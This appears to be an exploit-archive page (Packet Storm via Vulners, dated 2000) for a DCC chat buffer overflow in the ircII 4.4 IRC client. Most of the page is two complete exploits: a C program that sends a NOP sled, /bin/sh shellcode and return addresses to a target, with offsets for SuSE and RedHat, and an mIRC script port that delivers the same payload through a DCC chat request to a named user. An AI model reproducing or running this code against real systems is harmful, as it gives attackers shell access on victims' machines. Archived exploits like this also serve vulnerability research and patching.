Lucene search
K

ircii_exploit.txt

🗓️ 20 Apr 2000 00:00:00Reported by BladiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Exploits for IrcII4.4 include buffer overflow in DCC chat; patch available via upgrade link.

Code
`The following exploits are for IrcII4.4. A dcc chat buffer overflow, one is for  
linux and the other one is for mirc.  
  
  
-- start irciisploit.txt --  
  
/*  
  
ircii-4.4 exploit by bladi & aLmUDeNa  
  
buffer overflow in ircii dcc chat's  
allow to excute arbitrary  
  
Affected:  
ircII-4.4  
  
Patch:  
Upgrade to ircII-4.4M  
ftp://ircftp.au.eterna.com.au/pub/ircII/ircii-4.4M.tar.gz  
  
Offset:  
SuSe 6.x :0xbfffe3ff  
RedHat :0xbfffe888  
  
Thanks to : #warinhell,#hacker_novatos  
Special thanks go to: Topo[lb],  
Saludos para todos los que nos conozcan especialmente para eva ;)  
([email protected])  
*/  
  
#include <stdio.h>  
#include <netdb.h>  
#include <string.h>  
#include <signal.h>  
#include <unistd.h>  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <netinet/in.h>  
  
char *h_to_ip(char *hostname);  
char *h_to_ip(char *hostname) {  
struct hostent *hozt;  
struct sockaddr_in tmp;  
struct in_addr in;  
if ((hozt=gethostbyname(hostname))==NULL)  
{  
printf(" ERROR: IP incorrecta\n");  
exit(0);  
}  
memcpy((caddr_t)&tmp.sin_addr.s_addr, hozt->h_addr, hozt->h_length);  
memcpy(&in,&tmp.sin_addr.s_addr,4);  
return(inet_ntoa(in));  
}  
main(int argc, char *argv[])  
{  
struct sockaddr_in sin;  
char *hostname;  
char nops[] =  
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";  
char *shell =  
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  
"\x80\xe8\xdc\xff\xff\xff/bin/sh";  
int outsocket,tnt,i;  
printf (" irciismash ver: 1.0\n");  
printf (" by \n");  
printf (" bladi & aLmUDeNa\n\n");  
  
if (argc<3)  
{  
printf("Usage : %s hostname port\n",argv[0]);  
exit(-1);  
}  
hostname=argv[1];  
outsocket=socket(AF_INET,SOCK_STREAM,0);  
sin.sin_family=AF_INET;  
sin.sin_port=htons(atoi(argv[2]));  
sin.sin_addr.s_addr=inet_addr(h_to_ip(hostname));  
if (connect (outsocket, (struct sockaddr *) &sin, sizeof(sin)) == -1) {  
printf(" ERROR: El puerto esta cerradito :_(\n");  
exit(0);  
}  
printf("[1]- Noping\n [");  
for(i=0;i<47;i++)  
{  
if (!(i % 7)) { usleep (9); printf("."); fflush(stdout); }  
write(outsocket,nops,strlen(nops));  
}  
printf("]\n");  
printf(" Noped\n");  
printf("[2]- Injectin shellcode\n");  
write(outsocket,shell,strlen(shell));  
usleep(999);  
printf(" Injected\n");  
printf("[3]- Waiting\n [");  
for(i=0;i<299;i++)  
{  
printf(".");  
fflush(stdout);  
usleep(99);  
write(outsocket,"\xff",strlen("\xff"));  
write(outsocket,"\xbf",strlen("\xff"));  
write(outsocket,"\xff",strlen("\xe9"));  
write(outsocket,"\xe3",strlen("\xff"));  
}  
printf("]\n[4]- Xploit \n - --(DoNe)-- -\n");  
close(outsocket);  
}  
  
-- end irciisploit.txt --  
-- start ide_expl.mrc --  
  
# Wrote directly from irciisploit.txt(a .c program for *nix), that someone gave me to port to mirc.  
#  
# Exploit to overflow a buffer and run a shell. Although, more often than not it will crash/seg fault  
# with both versions of this exploit, by default. (exploit noted as being for V4.4, and patched in  
# V4.4M)  
#  
# irciisploit.txt by: bladi & aLmUDeNa  
# irciisploit.mrc(this) by: _v9(vade79)  
#  
# Also included in the exploit(irciisploit.txt) were some other offsets:  
#  
# "SuSe 6.x :0xbfffe3ff"  
# "RedHat :0xbfffe888"  
#  
# To load this script into mIRC5.7: /load -rs <path/to/file.mrc>  
#  
# NOTE: While making this i noticed /sockwrite had some problems catching up on checking to see if  
# the connection still exists, so if you see a /sockwrite error in the status window, the user  
# probably seg faulted.  
  
alias -l bin {  
if ($len($1) != 2) { return }  
var %i, %j, %k  
if ($left($1,1) !isnum) { %i = $calc($asc($left($1,1)) -87)) }  
else { %i = $left($1,1) }  
if ($right($1,1) !isnum) { %j = $calc($asc($right($1,1)) -87)) }  
else { %j = $right($1,1) }  
while (%i) { %k = %k + 16 | dec %i }  
return $calc(%k + %j)  
}  
alias -l make_string {  
var %i = 1, %j  
while ($gettok($replace($1,\x,\),0,92) >= %i) {  
%j = %j $bin($gettok($replace($1,\x,\),%i,92))  
inc %i  
}  
return %j  
}  
alias -l wn return @ircii4.4_dcc_exploit  
alias -l sw {  
if ($2) {  
if ($sock(exp_ide).status != active) {   
if ($window($wn)) { window -c $wn }  
echo -a Connection lost/non-existant. ( $+ %ide.status $+ )  
}  
else {  
if ($window($wn)) { titlebar $wn $chr(91) data sent to socket(last): $1- $chr(93) }  
sockwrite $1-  
}  
}  
}  
alias -l main {  
if ($window($wn)) { window -c $wn } | window -aek $wn  
echo $wn *** [01]: sending DCC chat request, waiting...  
set %ide.nick $1 | set %ide.port $rand(1024,4096)  
while ($portfree(%ide.port) != $true) { set %ide.port $rand(1024,4096) }  
sockclose exp_ide_base | socklisten exp_ide_base %ide.port  
.quote privmsg $1 : $+ $chr(1) $+ DCC CHAT chat $longip($ip) %ide.port $+ $chr(1)  
}  
alias exploit_ircii {  
if ($server) {  
if ($window($wn)) { echo -a *** Close the exploit window before attempting to exploit. | halt }  
elseif ($version < 5.7) { echo -a *** Functions in this script require mIRC5.7 or greater. (aborted) | halt }  
elseif ($1) { main $1 }  
else { echo -a Syntax: /exploit_ircii <nick> }  
}  
}  
on 1:SOCKREAD:exp_ide: {  
if ($sockerr > 0) return  
:read  
sockread %data  
if ($sockbr == 0) return  
if (%data == $null) var %data = (no data)  
if ($window($wn)) { echo $wn -> %data }  
goto read  
}  
on 1:SOCKLISTEN:exp_ide_base: {   
sockclose exp_ide | sockaccept exp_ide | sockclose exp_ide_base  
unset %ide.status  
if ($window($wn)) {  
set %ide.status 0  
echo $wn *** [02]: connected, setting up binary variables. (nops/shell code/etc)  
bset &nops 1 $make_string(\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90)  
bset &o 1 $make_string(\xff\xbf\xff\xe3)  
bset &shellcode 1 $make_string(\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff)  
bset -t &shellcode $calc($bvar(&shellcode,0) +1) /bin/sh  
echo $wn *** [03]: attempting to overflow buffer, sending the variables. (nops/shell code/etc)  
inc %ide.status  
echo $wn *** [--]: * (1/4) sending the nops, looping 47 times.  
var %i = 0  
while (%i < 47) {   
sw exp_ide &nops  
inc %i   
}  
inc %ide.status  
echo $wn *** [--]: * (2/4) sent, now sending the shell code.  
sw exp_ide &shellcode   
%i = 0 | while (%i < 9999) { inc %i }  
inc %ide.status  
echo $wn *** [--]: * (3/4) sent, now waiting/continuing, looping 299 times.  
%i = 0  
while (%i < 299) {  
var %j = 0 | while (%j < 499) { inc %j }  
var %j = 1  
while ($bvar(&o,%j)) {   
bset &bit 1 $bvar(&o,%j)  
sw exp_ide &bit  
inc %j  
}  
inc %i  
}  
inc %ide.status  
echo $wn *** [--]: * (4/4) sent, done.  
}  
else { sockclose exp_ide }  
}  
on 1:SOCKCLOSE:exp_ide: {  
if ($window($wn)) { window -c $wn }  
echo -a *** Connection lost with %ide.nick $+ . ( $+ %ide.status $+ )  
unset %ide.*  
}  
on 1:CLOSE:@: {   
if ($target == $wn) {  
if ($sock(exp_ide)) { sockclose exp_ide }  
if ($sock(exp_ide_base)) { sockclose exp_ide_base }  
unset %ide.*  
}  
}  
on 1:INPUT:@: {  
if ($active == $wn) {  
if ($sock(exp_ide).status == active) {  
if (%ide.status != 4) { echo *** Error, status is not at 4 yet, wait for completion. }  
else { echo $wn <- $1- | sw -n exp_ide $1- }  
}  
else { echo $wn *** Error, socket status isn't online yet. }  
halt  
}  
}  
on 1:LOAD: {  
if ($version < 5.7) { echo -a *** Functions in this script( $+ $nopath($script) $+ ) require mIRC5.7 or greater. (aborted) | .unload -rs $script | halt }  
else { echo -a *** Loaded $nopath($script) $+ , syntax is: /exploit_ircii <nick>. }  
}  
  
-- end ide_expl.mrc --  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Apr 2000 00:00Current
7.4High risk
Vulners AI Score7.4
44